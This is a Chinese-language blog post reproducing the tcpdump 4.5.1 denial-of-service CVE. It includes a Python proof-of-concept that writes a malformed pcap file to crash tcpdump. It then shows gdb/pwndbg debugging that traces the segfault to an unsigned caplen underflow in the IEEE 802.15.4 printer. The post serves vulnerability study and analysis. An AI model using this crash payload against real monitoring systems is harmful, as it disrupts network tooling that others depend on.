Tcpdump4.5.1拒绝服务漏洞
April 16, 2020 CVE复现 访问: 82 次
这个漏洞是tcpdump的漏洞,而tcpdump是关于网络流量的一个软件,所以需要先学习一下网络数据包的结构
这里面讲的已经很清楚了,我就不再搬了。
测试环境
i386/ubuntu 16.04 b1aa297bcabc 7 weeks ago 120MB
gdb-pwndbg
编译安装:
apt-get install libpcap-dev
dpkg -l libpcap-dev
wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
cd tcpdump-4.5.1/
./configure
make
poc
利用这个脚本生成一个恶意的pcap包
from subprocess import call
from shlex import split
from time import sleep
def crash():
command = 'tcpdump -r crash'
buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'
with open('crash', 'w+b') as file:
file.write(buffer)
try:
call(split(command))
print("Exploit successful! ")
except:
print("Error: Something has gone wrong!")
def main():
print("Author: David Silveiro ")
print(" tcpdump version 4.5.1 Access Violation Crash ")
sleep(2)
crash()
if __name__ == "__main__":
main()
调试
尝试运行tcpdump -r crash
,发现会出现Segmentation fault (core dumped)
用gdb来查看具体报错的地方,gdb tcpdump
────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────
EAX 0x5
EBX 0x89543a5 ◂— 0x0
ECX 0x2e
EDX 0x0
EDI 0xffaa1e3f ◂— 0x30303000
ESI 0xffaa1e59 ◂— '......'
EBP 0xfe2d
ESP 0xffaa1dfc —▸ 0x8053caa (hex_and_ascii_print_with_offset+170) ◂— mov ecx, dword ptr [esp + 0xc]
EIP 0x8053c6a (hex_and_ascii_print_with_offset+106) ◂— movzx edx, byte ptr [ebx + ebp*2 + 1]
──────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────
► 0x8053c6a <hex_and_ascii_print_with_offset+106> movzx edx, byte ptr [ebx + ebp*2 + 1]
0x8053c6f <hex_and_ascii_print_with_offset+111> movzx ecx, byte ptr [ebx + ebp*2]
0x8053c73 <hex_and_ascii_print_with_offset+115> push edx
0x8053c74 <hex_and_ascii_print_with_offset+116> mov ebx, edx
0x8053c76 <hex_and_ascii_print_with_offset+118> mov dword ptr [esp + 0x18], edx
0x8053c7a <hex_and_ascii_print_with_offset+122> mov byte ptr [esp + 0x13], cl
0x8053c7e <hex_and_ascii_print_with_offset+126> push ecx
0x8053c7f <hex_and_ascii_print_with_offset+127> mov dword ptr [esp + 0x18], ecx
0x8053c83 <hex_and_ascii_print_with_offset+131> push 0x80b6c00
0x8053c88 <hex_and_ascii_print_with_offset+136> mov ecx, edi
0x8053c8a <hex_and_ascii_print_with_offset+138> push 0x29
──────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────
In file: /tcpdump-4.5.1/print-ascii.c
86 nshorts = length / sizeof(u_short);
87 i = 0;
88 hsp = hexstuff; asp = asciistuff;
89 while (--nshorts >= 0) {
90 s1 = *cp++;
► 91 s2 = *cp++;
92 (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
93 " %02x%02x", s1, s2);
94 hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
95 *(asp++) = (isgraph(s1) ? s1 : '.');
96 *(asp++) = (isgraph(s2) ? s2 : '.');
──────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffaa1dfc —▸ 0x8053caa (hex_and_ascii_print_with_offset+170) ◂— mov ecx, dword ptr [esp + 0xc]
01:0004│ 0xffaa1e00 —▸ 0xf7f26000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f40
02:0008│ 0xffaa1e04 ◂— 0x5
03:000c│ 0xffaa1e08 ◂— 0x2f5967 /* 'gY/' */
04:0010│ 0xffaa1e0c ◂— 0x0
... ↓
06:0018│ 0xffaa1e14 ◂— 0x7ffffff9
07:001c│ 0xffaa1e18 —▸ 0x89543a5 ◂— 0x0
────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────
► f 0 8053c6a hex_and_ascii_print_with_offset+106
f 1 8053e26 hex_and_ascii_print+22
f 2 8051e7d ieee802_15_4_if_print+445
f 3 80a0aea print_packet+74
f 4 f7ece468
f 5 f7ebf0e3 pcap_loop+51
f 6 804b3dd main+3869
f 7 f7d14637 __libc_start_main+247
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x8974000)
pwndbg>
程序停在了<hex_and_ascii_print_with_offset+106>
,在源码中找到这个函数
void
hex_and_ascii_print_with_offset(register const char *ident,
register const u_char *cp, register u_int length, register u_int oset)
{
register u_int i;
register int s1, s2;
register int nshorts;
char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp;
char asciistuff[ASCII_LINELENGTH+1], *asp;
nshorts = length / sizeof(u_short);
i = 0;
hsp = hexstuff; asp = asciistuff;
while (--nshorts >= 0) {
s1 = *cp++;
s2 = *cp++;
(void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
" %02x%02x", s1, s2);
hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
*(asp++) = (isgraph(s1) ? s1 : '.');
*(asp++) = (isgraph(s2) ? s2 : '.');
i++;
if (i >= HEXDUMP_SHORTS_PER_LINE) {
*hsp = *asp = '\0';
(void)printf("%s0x%04x: %-*s %s",ident, oset, HEXDUMP_HEXSTUFF_PER_LINE,hexstuff, asciistuff);
i = 0; hsp = hexstuff; asp = asciistuff;
oset += HEXDUMP_BYTES_PER_LINE;
}
}
if (length & 1) {
s1 = *cp++;
(void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
" %02x", s1);
hsp += 3;
*(asp++) = (isgraph(s1) ? s1 : '.');
++i;
}
if (i > 0) {
*hsp = *asp = '\0';
(void)printf("%s0x%04x: %-*s %s",
ident, oset, HEXDUMP_HEXSTUFF_PER_LINE,
hexstuff, asciistuff);
}
}
既然错误发生在while
循环内,那么指针*cp++
肯定是执行次数太多而导致访问到无效数据了,进而报错。
while
循环的次数由nshorts
决定,nshorts
是由参数length
决定
经过调试发现,参数length
传进来的值是0xfffffff3
回溯查看函数调用
pwndbg> bt
#0 hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8a83000 <error: Cannot access memory at address 0x8a83000>, length=4294967283, oset=130128) at ./print-ascii.c:91
#1 0x08053e26 in hex_and_ascii_print (ident=0x80c04af "\n\t", cp=0x8a633a5 "", length=4294967283) at ./print-ascii.c:127
#2 0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 <Gndo>, h=0xff8c088c, p=<optimized out>) at ./print-802_15_4.c:180
#3 0x080a0aea in print_packet (user=0xff8c095c " \023\036\b\300\034\005\b\001", h=0xff8c088c, sp=0x8a63390 "@\377") at ./tcpdump.c:1950
#4 0xf7ee7468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#5 0xf7ed80e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#6 0x0804b3dd in main (argc=3, argv=0xff8c1b44) at ./tcpdump.c:1569
#7 0xf7d2d637 in __libc_start_main (main=0x804a4c0 <main>, argc=3, argv=0xff8c1b44, init=0x80b1230 <__libc_csu_init>, fini=0x80b1290 <__libc_csu_fini>, rtld_fini=0xf7f2a880 <_dl_fini>, stack_end=0xff8c1b3c) at ../csu/libc-start.c:291
#8 0x0804c245 in _start ()
pwndbg>
hex_and_ascii_print
这个函数其实是直接调用了hex_and_ascii_print_with_offset
,其他也没什么
void
hex_and_ascii_print(register const char *ident, register const u_char *cp,
register u_int length)
{
hex_and_ascii_print_with_offset(ident, cp, length, 0);
}
在ieee802_15_4_if_print
函数里面没有显示的发现调用hex_and_ascii_print
u_int
ieee802_15_4_if_print(struct netdissect_options *ndo,
const struct pcap_pkthdr *h, const u_char *p)
{
u_int caplen = h->caplen;
int hdrlen;
u_int16_t fc;
u_int8_t seq;
if (caplen < 3) {
ND_PRINT((ndo, "[|802.15.4] %x", caplen));
return caplen;
}
fc = EXTRACT_LE_16BITS(p);
hdrlen = extract_header_length(fc);
seq = EXTRACT_LE_8BITS(p + 2);
p += 3;
caplen -= 3;
ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
if (vflag)
ND_PRINT((ndo,"seq %02x ", seq));
if (hdrlen == -1) {
ND_PRINT((ndo,"malformed! "));
return caplen;
}
if (!vflag) {
p+= hdrlen;
caplen -= hdrlen;
} else {
u_int16_t panid = 0;
switch ((fc >> 10) & 0x3) {
case 0x00:
ND_PRINT((ndo,"none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved destination addressing mode"));
return 0;
case 0x02:
panid = EXTRACT_LE_16BITS(p);
p += 2;
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
p += 2;
break;
case 0x03:
panid = EXTRACT_LE_16BITS(p);
p += 2;
ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)));
p += 8;
break;
}
ND_PRINT((ndo,"< ");
switch ((fc >> 14) & 0x3) {
case 0x00:
ND_PRINT((ndo,"none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved source addressing mode"));
return 0;
case 0x02:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
}
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
p += 2;
break;
case 0x03:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
}
ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));
p += 8;
break;
}
caplen -= hdrlen;
}
if (!suppress_default_print)
(ndo->ndo_default_print)(ndo, p, caplen);
return 0;
}
经过调试发现,在(ndo->ndo_default_print)(ndo, p, caplen);
其实就是调用了上一个函数,我感觉ndo_default_print
像是hex_and_ascii_print
的plt表项
pwndbg> p ndo
$9 = (struct netdissect_options *) 0x81e1320 <Gndo>
pwndbg> p *$9
$10 = {
ndo_aflag = 0,
ndo_bflag = 0,
ndo_eflag = 0,
ndo_fflag = 0,
ndo_Kflag = 0,
ndo_nflag = 0,
ndo_Nflag = 0,
ndo_qflag = 0,
ndo_Rflag = 1,
ndo_sflag = 0,
ndo_Sflag = 0,
ndo_tflag = 0,
ndo_Uflag = 0,
ndo_uflag = 0,
ndo_vflag = 0,
ndo_xflag = 0,
ndo_Xflag = 0,
ndo_Aflag = 0,
ndo_Bflag = 0,
ndo_Iflag = 0,
ndo_Oflag = 1,
ndo_dlt = -1,
ndo_jflag = -1,
ndo_pflag = 0,
ndo_Cflag = 0,
ndo_Cflag_count = 0,
ndo_Gflag = 0,
ndo_Gflag_count = 0,
ndo_Gflag_time = 0,
ndo_Wflag = 0,
ndo_WflagChars = 0,
ndo_Hflag = 0,
ndo_suppress_default_print = 0,
ndo_dltname = 0x0,
ndo_espsecret = 0x0,
ndo_sa_list_head = 0x0,
ndo_sa_default = 0x0,
ndo_sigsecret = 0x0,
ndo_espsecret_xform = 0x0,
ndo_espsecret_key = 0x0,
ndo_packettype = 0,
ndo_program_name = 0x0,
ndo_thiszone = 0,
ndo_snaplen = 65535,
ndo_packetp = 0x0,
ndo_snapend = 0x82af398 "",
ndo_infodelay = 0,
ndo_default_print = 0x80a0400 <ndo_default_print>,
ndo_info = 0x0,
ndo_printf = 0x80a0440 <tcpdump_printf>,
ndo_error = 0x80a06a0 <ndo_error>,
ndo_warning = 0x80a0630 <ndo_warning>
}
pwndbg> p &hex_and_ascii_print
$11 = (void (*)(const char *, const u_char *, u_int)) 0x8053e10 <hex_and_ascii_print>
pwndbg> x/10i 0x80a0400
0x80a0400 <ndo_default_print>: mov DWORD PTR [esp+0x4],0x80c04af
0x80a0408 <ndo_default_print+8>: jmp 0x8053e10 <hex_and_ascii_print>
0x80a040d: lea esi,[esi+0x0]
第三个参数caplen
经过调试发现参与运算的只有caplen -= 3;
和caplen -= hdrlen;
caplen = h->caplen;
此时的caplen的值是8,而hdrlen = extract_header_length(fc);
是0x12,那么运算出来的值就是-13
,caplen
是一个无符号整形的数据,没有检查直接传入到了下一个参数,导致数组越界
我一直纠结在hdrlen
是一个?,为什么要减去它?没有弄得太明白
参考
TCPDUMP 4.5.2拒绝服务漏洞
TCPDUMP拒绝服务攻击漏洞
tcpdump 4.5.1 crash 深入分析
tcpdump 4.5.1 crash 漏洞